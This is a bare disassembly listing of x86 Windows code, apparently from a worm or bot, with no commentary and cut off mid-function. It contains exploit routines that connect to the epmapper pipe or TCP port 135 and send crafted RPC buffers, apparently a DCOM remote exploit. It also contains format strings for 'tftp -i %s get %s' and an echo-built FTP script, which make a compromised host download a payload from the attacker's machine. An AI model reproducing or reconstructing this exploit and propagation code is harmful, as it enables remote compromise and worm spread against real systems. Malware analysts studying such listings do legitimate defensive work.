mov dword ptr [esp+16Ch], 87h
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_403E35
push 2Fh
lea esi, [esp+0D0h]
pop ecx
mov dword ptr [esp+16Ch], 1BDh
mov edi, esp
mov ebx, eax
rep movsd
call sub_404737
add esp, 0BCh
test ebx, ebx
jnz short loc_403A40
test eax, eax
jz short loc_403A43
loc_403A40: ; CODE XREF: ___:00403A3Aj
push 1
pop eax
loc_403A43: ; CODE XREF: ___:00403A3Ej
pop edi
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403A47 proc near ; CODE XREF: sub_403E35+28p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset off_426068
lea edi, [ebp+var_C]
mov ecx, 8Ah
movsd
movsd
movsd
mov esi, offset off_426060
lea edi, [ebp+var_354]
movsd
movsw
xor eax, eax
lea edi, [ebp+var_34E]
rep stosd
stosw
mov al, byte_43C63C
push 45h
mov [ebp+var_124], al
pop ecx
xor eax, eax
lea edi, [ebp+var_123]
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
push 0FFh
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
xor edi, edi
push edi
push edi
nop
call near ptr 7C809BF8h
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_417B9F
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_417B9F
mov esi, [ebp+arg_4]
lea eax, [ebp+var_354]
add esp, 10h
mov [esi+14h], eax
mov eax, offset dword_43C638
push edi
push eax
push eax
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+1Ch], edi
call dword_441458
cmp eax, 5
mov ebx, 4C3h
jz short loc_403B0B
cmp eax, ebx
jnz short loc_403B15
loc_403B0B: ; CODE XREF: sub_403A47+BEj
push edi
push edi
push edi
push esi
call dword_441458
loc_403B15: ; CODE XREF: sub_403A47+C2j
cmp eax, 5
jz short loc_403B23
cmp eax, ebx
jz short loc_403B23
push 1
pop eax
jmp short loc_403B25
; ---------------------------------------------------------------------------
loc_403B23: ; CODE XREF: sub_403A47+D1j
; sub_403A47+D5j
xor eax, eax
loc_403B25: ; CODE XREF: sub_403A47+DAj
pop edi
pop esi
pop ebx
leave
retn
sub_403A47 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403B2A proc near ; CODE XREF: sub_403E35+7Ap
; sub_403E35+15Ap
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push esi
push edi
mov esi, offset off_426068
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset off_426060
lea edi, [ebp+var_354]
movsd
movsw
mov ecx, 8Ah
xor eax, eax
lea edi, [ebp+var_34E]
push 45h
rep stosd
stosw
mov al, byte_43C63C
pop ecx
mov [ebp+var_124], al
xor eax, eax
lea edi, [ebp+var_123]
push 0FFh
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
xor esi, esi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push esi
nop
call near ptr 7C809BF8h
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_417B9F
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_417B9F
add esp, 10h
loc_403BBB: ; CODE XREF: sub_403B2A+AFj
push esi
lea eax, [ebp+var_354]
push esi
push eax
call dword_4412F8
test eax, eax
jz short loc_403BDB
push 7D0h
nop
call near ptr 7C802442h
jmp short loc_403BBB
; ---------------------------------------------------------------------------
loc_403BDB: ; CODE XREF: sub_403B2A+A2j
push 1
pop eax
pop edi
pop esi
leave
retn
sub_403B2A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403BE2 proc near ; CODE XREF: sub_403E35+A9p
; sub_403E35+1E7p
var_3004 = byte ptr -3004h
var_2004 = byte ptr -2004h
var_1FE0 = byte ptr -1FE0h
var_1FD4 = byte ptr -1FD4h
var_1F2D = byte ptr -1F2Dh
var_1004 = byte ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF4 = dword ptr -0FF4h
var_F84 = dword ptr -0F84h
var_F80 = dword ptr -0F80h
var_F50 = dword ptr -0F50h
var_F4C = dword ptr -0F4Ch
var_F34 = dword ptr -0F34h
var_E78 = dword ptr -0E78h
var_CA4 = dword ptr -0CA4h
var_C9C = dword ptr -0C9Ch
var_C94 = byte ptr -0C94h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 3004h
call sub_417B70
push esi
push edi
push offset byte_42EDC4
mov esi, 0A7h
push [ebp+arg_0]
mov [ebp+var_4], esi
call sub_40AFAB
pop ecx
push eax
lea eax, [ebp+var_3004]
push 1000h
push eax
call sub_416CC9
mov edi, eax
add esp, 10h
test edi, edi
jz loc_403E31
push ebx
mov ebx, offset off_425F7C
push 30h
lea eax, [ebp+var_2004]
push ebx
push eax
call sub_417490
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_417430
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+var_1F2D]
push eax
call sub_417490
add esp, 24h
lea esi, [edi+0D7h]
loc_403C67: ; CODE XREF: sub_403BE2+D3j
mov eax, esi
push 10h
cdq
pop ecx
idiv ecx
cmp edx, 0Ch
jz short loc_403CB7
mov esi, [ebp+var_4]
push 30h
lea eax, [ebp+var_2004]
inc esi
push ebx
push eax
mov [ebp+var_4], esi
call sub_417490
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_417430
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+esi+var_1FD4]
push eax
call sub_417490
add esp, 24h
lea esi, [esi+edi+30h]
jmp short loc_403C67
; ---------------------------------------------------------------------------
loc_403CB7: ; CODE XREF: sub_403BE2+90j
cmp [ebp+arg_C4], 0
jz short loc_403CD2
cmp [ebp+arg_C0], 3
jz short loc_403CDB
cmp [ebp+arg_C0], 0
jmp short loc_403CD9
; ---------------------------------------------------------------------------
loc_403CD2: ; CODE XREF: sub_403BE2+DCj
cmp [ebp+arg_C0], 3
loc_403CD9: ; CODE XREF: sub_403BE2+EEj
jnz short loc_403CE4
loc_403CDB: ; CODE XREF: sub_403BE2+E5j
push 4
push offset dword_42605C
jmp short loc_403CEB
; ---------------------------------------------------------------------------
loc_403CE4: ; CODE XREF: sub_403BE2:loc_403CD9j
push 4
push offset dword_426058
loc_403CEB: ; CODE XREF: sub_403BE2+100j
lea eax, [ebp+var_1FE0]
push eax
call sub_417490
add esp, 0Ch
lea eax, [ebp+var_1004]
push 360h
push offset dword_425B90
push eax
call sub_417490
push 10h
lea eax, [ebp+var_CA4]
push offset dword_425EF4
push eax
call sub_417490
lea eax, [ebp+var_2004]
push esi
push eax
lea eax, [ebp+var_C94]
push eax
call sub_417490
lea edi, [esi+370h]
push 3Ch
push offset off_425F08
lea eax, [ebp+edi+var_1004]
push eax
call sub_417490
add edi, 3Ch
push 30h
push offset dword_425F48
lea eax, [ebp+edi+var_1004]
push eax
call sub_417490
mov eax, esi
add edi, 30h
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA4], eax
add [ebp+var_C9C], eax
mov eax, [ebp+var_FFC]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FFC], eax
mov eax, [ebp+var_FF4]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_F84]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F84], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F50]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F50], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F34]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F34], eax
mov eax, [ebp+var_E78]
lea eax, [eax+esi-0Ch]
lea esi, [edi+1]
push esi
mov [ebp+var_E78], eax
call sub_417BEE
add esp, 40h
mov ebx, eax
push esi
push 0
push ebx
call sub_417430
lea eax, [ebp+var_1004]
push edi
push eax
push ebx
call sub_417490
mov eax, [ebp+arg_BC]
add esp, 18h
mov [eax], edi
mov eax, ebx
pop ebx
loc_403E31: ; CODE XREF: sub_403BE2+3Ej
pop edi
pop esi
leave
retn
sub_403BE2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403E35 proc near ; CODE XREF: ___:00403A0Dp
; sub_4076D2+1E6p
; DATA XREF: ...
var_1338 = byte ptr -1338h
var_338 = byte ptr -338h
var_234 = byte ptr -234h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
arg_B4 = dword ptr 0BCh
push ebp
mov ebp, esp
mov eax, 1338h
call sub_417B70
cmp [ebp+arg_A0], 1BDh
push ebx
push esi
push edi
jnz loc_403FA3
lea eax, [ebp+var_34]
push eax
lea eax, [ebp+arg_4]
push eax
call sub_403A47
pop ecx
test eax, eax
pop ecx
jz loc_4040B3
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_338]
push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper"
push eax
call sub_4173AC
add esp, 0Ch
xor ebx, ebx
lea eax, [ebp+var_338]
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
push eax
nop
call near ptr 7C801A24h
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_403EBA
loc_403EAB: ; CODE XREF: sub_403E35+126j
lea eax, [ebp+arg_4]
push eax
call sub_403B2A
pop ecx
jmp loc_4040B3
; ---------------------------------------------------------------------------
loc_403EBA: ; CODE XREF: sub_403E35+74j
lea eax, [ebp+arg_4]
push 2
push eax
call sub_40DA5C
pop ecx
lea esi, [ebp+arg_0]
pop ecx
push 1
push eax
lea eax, [ebp+var_10]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_403BE2
add esp, 0C8h
cmp eax, ebx
mov [ebp+var_8], eax
jz short loc_403F52
mov edi, 186A0h
push edi
call sub_417BEE
mov esi, eax
push edi
push ebx
push esi
call sub_417430
add esp, 10h
lea eax, [ebp+var_C]
mov edi, 2710h
push ebx
push eax
push edi
push esi
push 48h
push offset dword_425B44
push [ebp+var_4]
nop
call near ptr 7C8312E5h
cmp byte ptr [esi+2], 0Ch
jnz short loc_403F42
lea eax, [ebp+var_14]
push ebx
push eax
push [ebp+var_10]
push [ebp+var_8]
push [ebp+var_4]
nop
call near ptr 7C810D87h
test eax, eax
jnz short loc_403F60
loc_403F42: ; CODE XREF: sub_403E35+F3j
push esi
call sub_417C62
push [ebp+var_8]
call sub_417C62
pop ecx
pop ecx
loc_403F52: ; CODE XREF: sub_403E35+B9j
push [ebp+var_4]
nop
call near ptr 7C809B47h
jmp loc_403EAB
; ---------------------------------------------------------------------------
loc_403F60: ; CODE XREF: sub_403E35+10Bj
lea eax, [ebp+var_C]
push ebx
push eax
push edi
push esi
push [ebp+var_4]
nop
call near ptr 7C80180Eh
push [ebp+var_8]
mov edi, eax
call sub_417C62
push esi
call sub_417C62
pop ecx
pop ecx
push [ebp+var_4]
nop
call near ptr 7C809B47h
lea eax, [ebp+arg_4]
push eax
call sub_403B2A
cmp edi, 1
pop ecx
jnz loc_4040C7
jmp loc_4040B3
; ---------------------------------------------------------------------------
loc_403FA3: ; CODE XREF: sub_403E35+1Aj
lea eax, [ebp+arg_4]
push 1
push eax
call sub_40DA5C
mov esi, eax
pop ecx
cmp esi, 1
pop ecx
jz loc_4040B3
xor ebx, ebx
push ebx
push 1
push 2
call dword_441438 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_4040B3
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
call sub_417430
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+arg_A0]
call dword_4413B8 ; ntohs
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call dword_4413F8 ; inet_addr
mov [ebp+var_20], eax
push ebx
lea eax, [ebp+var_C]
push esi
push eax
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_403BE2
mov esi, eax
add esp, 0C8h
cmp esi, ebx
mov [ebp+var_8], esi
jnz short loc_404035
push [ebp+var_4]
jmp short loc_4040AD
; ---------------------------------------------------------------------------
loc_404035: ; CODE XREF: sub_403E35+1F9j
mov edi, [ebp+var_4]
lea eax, [ebp+var_24]
push 10h
push eax
push edi
call dword_441360 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40404D
loc_40404A: ; CODE XREF: sub_403E35+22Aj
push esi
jmp short loc_4040A6
; ---------------------------------------------------------------------------
loc_40404D: ; CODE XREF: sub_403E35+213j
push ebx
push 48h
push offset dword_425B44
push edi
call dword_441408 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40404A
mov esi, 1000h
push ebx
lea eax, [ebp+var_1338]
push esi
push eax
push edi
call dword_4413D0 ; recv
push ebx
push [ebp+var_C]
push [ebp+var_8]
push edi
call dword_441408 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40408E
push [ebp+var_8]
jmp short loc_4040A6
; ---------------------------------------------------------------------------
loc_40408E: ; CODE XREF: sub_403E35+252j
push ebx
lea eax, [ebp+var_1338]
push esi
push eax
push edi
call dword_4413D0 ; recv
push [ebp+var_8]
cmp eax, 0FFFFFFFFh
jnz short loc_4040BA
loc_4040A6: ; CODE XREF: sub_403E35+216j
; sub_403E35+257j
call sub_417C62
pop ecx
push edi
loc_4040AD: ; CODE XREF: sub_403E35+1FEj
call dword_441450 ; closesocket
loc_4040B3: ; CODE XREF: sub_403E35+31j
; sub_403E35+80j ...
xor eax, eax
jmp loc_404176
; ---------------------------------------------------------------------------
loc_4040BA: ; CODE XREF: sub_403E35+26Fj
call sub_417C62
pop ecx
push edi
call dword_441450 ; closesocket
loc_4040C7: ; CODE XREF: sub_403E35+163j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_234]
push offset unk_4260A0
push eax
call sub_4173AC
add esp, 0Ch
xor esi, esi
loc_4040E1: ; CODE XREF: sub_403E35+2CCj
lea eax, [ebp+var_234]
push eax
call sub_40C5D7
test eax, eax
pop ecx
jnz short loc_404105
push 1388h
nop
call near ptr 7C802442h
inc esi
cmp esi, 6
jl short loc_4040E1
jmp short loc_404173
; ---------------------------------------------------------------------------
loc_404105: ; CODE XREF: sub_403E35+2BBj
lea eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_A8]
imul eax, 3Ch
add eax, offset aDcom135 ; "Dcom135"
push eax
lea eax, [ebp+var_234]
push offset unk_426074
push eax
call sub_4173AC
add esp, 10h
cmp [ebp+arg_B4], ebx
jnz short loc_404151
push ebx
lea eax, [ebp+var_234]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_40DC10
add esp, 14h
loc_404151: ; CODE XREF: sub_403E35+2FDj
lea eax, [ebp+var_234]
push eax
call sub_40C4F7
mov eax, [ebp+arg_A8]
pop ecx
imul eax, 3Ch
inc dword_428C00[eax]
lea eax, dword_428C00[eax]
loc_404173: ; CODE XREF: sub_403E35+2CEj
push 1
pop eax
loc_404176: ; CODE XREF: sub_403E35+280j
pop edi
pop esi
pop ebx
leave
retn
sub_403E35 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40417B proc near ; DATA XREF: ___:00423004o
jmp $+5
sub_40417B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_404180 proc near
push 0BB80h
push 76Ch
call sub_415EF7
pop ecx
mov dword_43C640, eax
pop ecx
retn
sub_404180 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404197 proc near ; CODE XREF: sub_4042F8+42Ap
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_417430
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_4413F8 ; inet_addr
mov [ebp+var_C], eax
mov ax, word ptr dword_43C640
push eax
call dword_4413B8 ; ntohs
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_441438 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_4042D1
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_441360 ; connect
cmp eax, 0FFFFFFFFh
jz loc_4042D1
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_4413D0 ; recv
mov esi, offset byte_42EDC4
push esi
push esi
push [ebp+arg_0]
call sub_40AFAB
pop ecx
mov edi, 190h
push eax
push offset aTftpISGetS ; "tftp -i %s get %s\r\n"
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41792A
add esp, 18h
push esi
push esi
push dword_43C64C
push [ebp+arg_0]
call sub_40AFAB
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41792A
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_441408 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4042D1
push 1F4h
nop
call near ptr 7C802442h
push esi
push offset dword_425A78
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41792A
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_441408 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_4042D5
loc_4042D1: ; CODE XREF: sub_404197+51j
; sub_404197+67j ...
xor al, al
jmp short loc_4042F3
; ---------------------------------------------------------------------------
loc_4042D5: ; CODE XREF: sub_404197+138j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_4413D0 ; recv
push ebx
call dword_441450 ; closesocket
mov al, 1
loc_4042F3: ; CODE XREF: sub_404197+13Cj
pop edi
pop esi
pop ebx
leave
retn
sub_404197 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4042F8 proc near ; CODE XREF: sub_404737+125p
; sub_404737+147p
var_89B4 = byte ptr -89B4h
var_894C = byte ptr -894Ch
var_68DC = byte ptr -68DCh
var_686C = byte ptr -686Ch
var_5DA8 = byte ptr -5DA8h
var_4804 = byte ptr -4804h
var_4803 = byte ptr -4803h
var_3770 = byte ptr -3770h
var_2CAC = byte ptr -2CACh
var_2CAB = byte ptr -2CABh
var_2CA8 = byte ptr -2CA8h
var_2C2C = byte ptr -2C2Ch
var_245C = byte ptr -245Ch
var_1FB1 = byte ptr -1FB1h
var_1CC4 = byte ptr -1CC4h
var_14E0 = byte ptr -14E0h
var_14D0 = byte ptr -14D0h
var_11AC = byte ptr -11ACh
var_11A8 = byte ptr -11A8h
var_119C = byte ptr -119Ch
var_F14 = byte ptr -0F14h
var_E74 = byte ptr -0E74h
var_768 = dword ptr -768h
var_758 = byte ptr -758h
var_744 = byte ptr -744h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_B4 = byte ptr -0B4h
var_B1 = byte ptr -0B1h
var_87 = byte ptr -87h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
var_3C = byte ptr -3Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B4h
call sub_417B70
mov eax, dword_425AF8
push ebx
mov [ebp+var_10], eax
mov eax, dword_425AFC
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_3C]
push offset loc_425AEC
push eax
call sub_4173AC
add esp, 0Ch
xor ebx, ebx
xor esi, esi
lea eax, [ebp+var_103]
loc_404337: ; CODE XREF: sub_4042F8+4Ej
mov cl, [ebp+esi+var_3C]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, 28h
jl short loc_404337
push 60h
lea eax, [ebp+var_B4]
push offset dword_4265E0
push eax
call sub_417490
lea eax, [ebp+var_3C]
push eax
call sub_417AF0
shl eax, 1
push eax
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_84]
push eax
call sub_417490
add esp, 1Ch
lea eax, [ebp+var_3C]
push 9
push (offset aC_0+3)
push eax
call sub_417AF0
pop ecx
lea eax, [ebp+eax*2+var_85]
push eax
call sub_417490
lea eax, [ebp+var_3C]
push eax
call sub_417AF0
add al, 1Ah
push 1
shl al, 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_B1]
push eax
call sub_417490
lea eax, [ebp+var_3C]
push eax
call sub_417AF0
shl al, 1
add al, 9
push 1
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_87]
push eax
call sub_417490
mov ax, word ptr dword_43C640
add esp, 2Ch
push eax
call dword_4413B8 ; ntohs
xor eax, 9999h
push 2
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax
push offset dword_4262E0
call sub_417490
add esp, 0Ch
cmp [ebp+arg_C0], ebx
jz loc_4044F4
mov edi, 0DACh
lea eax, [ebp+var_1CC4]
push edi
push 90h
push eax
call sub_417430
mov eax, [ebp+arg_C0]
push 4
imul eax, 3Ch
lea eax, dword_426A08[eax]
mov [ebp+var_14], eax
push eax
lea eax, [ebp+var_14E0]
push eax
call sub_417490
mov esi, offset loc_426230
push esi
call sub_417AF0
push eax
lea eax, [ebp+var_14D0]
push esi
push eax
call sub_417490
push 4
lea eax, [ebp+var_11AC]
push offset loc_425AE4
push eax
call sub_417490
push 4
lea eax, [ebp+var_11A8]
push [ebp+var_14]
push eax
call sub_417490
add esp, 40h
push esi
call sub_417AF0
push eax
lea eax, [ebp+var_119C]
push esi
push eax
call sub_417490
add esp, 10h
xor esi, esi
lea eax, [ebp+var_4803]
loc_4044AD: ; CODE XREF: sub_4042F8+1C6j
mov cl, [ebp+esi+var_1CC4]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, edi
jl short loc_4044AD
mov esi, 1C52h
lea eax, [ebp+var_89B4]
push esi
push 31h
push eax
mov [ebp+var_2CAC], bl
mov [ebp+var_2CAB], bl
call sub_417430
push esi
lea eax, [ebp+var_68DC]
push 31h
push eax
call sub_417430
add esp, 18h
jmp short loc_40454B
; ---------------------------------------------------------------------------
loc_4044F4: ; CODE XREF: sub_4042F8+118j
push 7D0h
lea eax, [ebp+var_F14]
push 90h
push eax
call sub_417430
mov esi, offset loc_426230
push esi
call sub_417AF0
push eax
lea eax, [ebp+var_E74]
push esi
push eax
call sub_417490
lea eax, [ebp+var_10]
push eax
call sub_417AF0
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_758]
push eax
call sub_417490
mov eax, dword_426A08
add esp, 2Ch
mov [ebp+var_768], eax
loc_40454B: ; CODE XREF: sub_4042F8+1FAj
push 0E29h
lea eax, [ebp+var_2CA8]
push 31h
push eax
call sub_417430
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
add eax, 4
push ebx
push eax
lea eax, [ebp+var_B4]
push eax
push edi
call dword_441408 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40458A
loc_404583: ; CODE XREF: sub_4042F8+2B9j
; sub_4042F8+2E0j ...
xor al, al
jmp loc_404732
; ---------------------------------------------------------------------------
loc_40458A: ; CODE XREF: sub_4042F8+289j
mov esi, 640h
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4413D0 ; recv
push ebx
push 68h
push offset dword_426644
push edi
call dword_441408 ; send
cmp eax, 0FFFFFFFFh
jz short loc_404583
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4413D0 ; recv
push ebx
push 0A0h
push offset dword_4266B0
push edi
call dword_441408 ; send
cmp eax, 0FFFFFFFFh
jz short loc_404583
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4413D0 ; recv
cmp [ebp+arg_C0], ebx
jz loc_4046A0
push 68h
lea eax, [ebp+var_89B4]
push offset dword_426868
push eax
call sub_417490
lea eax, [ebp+var_4804]
push 1B5Ah
push eax
lea eax, [ebp+var_894C]
push eax
call sub_417490
push 70h
lea eax, [ebp+var_68DC]
push offset dword_4268D4
push eax
call sub_417490
lea eax, [ebp+var_3770]
push 0A5Eh
push eax
lea eax, [ebp+var_686C]
push eax
call sub_417490
push 84h
lea eax, [ebp+var_5DA8]
push offset dword_426948
push eax
call sub_417490
add esp, 3Ch
lea eax, [ebp+var_89B4]
push ebx
push 10FCh
push eax
push edi
call dword_441408 ; send
cmp eax, 0FFFFFFFFh
jz loc_404583
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4413D0 ; recv
push ebx
push 0FDCh
lea eax, [ebp+var_68DC]
jmp short loc_4046F6
; ---------------------------------------------------------------------------
loc_4046A0: ; CODE XREF: sub_4042F8+2F8j
push 7Ch
lea eax, [ebp+var_2CA8]
push offset dword_426754
push eax
call sub_417490
lea eax, [ebp+var_F14]
push 7D0h
push eax
lea eax, [ebp+var_2C2C]
push eax
call sub_417490
push 90h
lea eax, [ebp+var_245C]
push offset off_4267D4
push eax
call sub_417490
add esp, 24h
mov [ebp+var_1FB1], bl
lea eax, [ebp+var_2CA8]
push ebx
push 0CF8h
loc_4046F6: ; CODE XREF: sub_4042F8+3A6j
push eax
push edi
call dword_441408 ; send
cmp eax, 0FFFFFFFFh
jz loc_404583
push 12Ch
nop
call near ptr 7C802442h
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_404197
add esp, 0BCh
test al, al
setnz al
loc_404732: ; CODE XREF: sub_4042F8+28Dj
pop edi
pop esi
pop ebx
leave
retn
sub_4042F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404737 proc near ; CODE XREF: ___:00403A2Dp
; ___:0040494Dp ...
var_854 = byte ptr -854h
var_810 = byte ptr -810h
var_214 = byte ptr -214h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
push ebp
mov ebp, esp
sub esp, 854h
push ebx
push esi
push edi
push 0BB80h
push 76Ch
call sub_415EF7
xor edi, edi
push 10h
lea eax, [ebp+var_14]
push edi
push eax
mov [ebp+var_4], edi
call sub_417430
add esp, 14h
lea eax, [ebp+arg_4]
mov [ebp+var_14], 2
push eax
call dword_4413F8 ; inet_addr
push [ebp+arg_A0]
mov [ebp+var_10], eax
call dword_4413B8 ; ntohs
push 6
push 1
push 2
mov [ebp+var_12], ax
call dword_441438 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40483F
lea eax, [ebp+var_14]
push 10h
push eax
push ebx
call dword_441360 ; connect
cmp eax, 0FFFFFFFFh
jz loc_40483F
push edi
push 89h
push offset dword_4263C8
push ebx
call dword_441408 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40483F
mov esi, 640h
push edi
lea eax, [ebp+var_854]
push esi
push eax
push ebx
call dword_4413D0 ; recv
push edi
push 0A8h
push offset dword_426454
push ebx
call dword_441408 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40483F
push edi
lea eax, [ebp+var_854]
push esi
push eax
push ebx
call dword_4413D0 ; recv
push edi
push 0DEh
push offset dword_426500
push ebx
call dword_441408 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40483F
push edi
lea eax, [ebp+var_854]
push esi
push eax
push ebx
call dword_4413D0 ; recv
movsx eax, [ebp+var_810]
sub eax, 30h
jz short loc_404849
dec eax
jz short loc_404846
loc_40483F: ; CODE XREF: sub_404737+63j
; sub_404737+79j ...
xor eax, eax
jmp loc_40490C
; ---------------------------------------------------------------------------
loc_404846: ; CODE XREF: sub_404737+106j
push edi
jmp short loc_40486D
; ---------------------------------------------------------------------------
loc_404849: ; CODE XREF: sub_404737+103j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4042F8
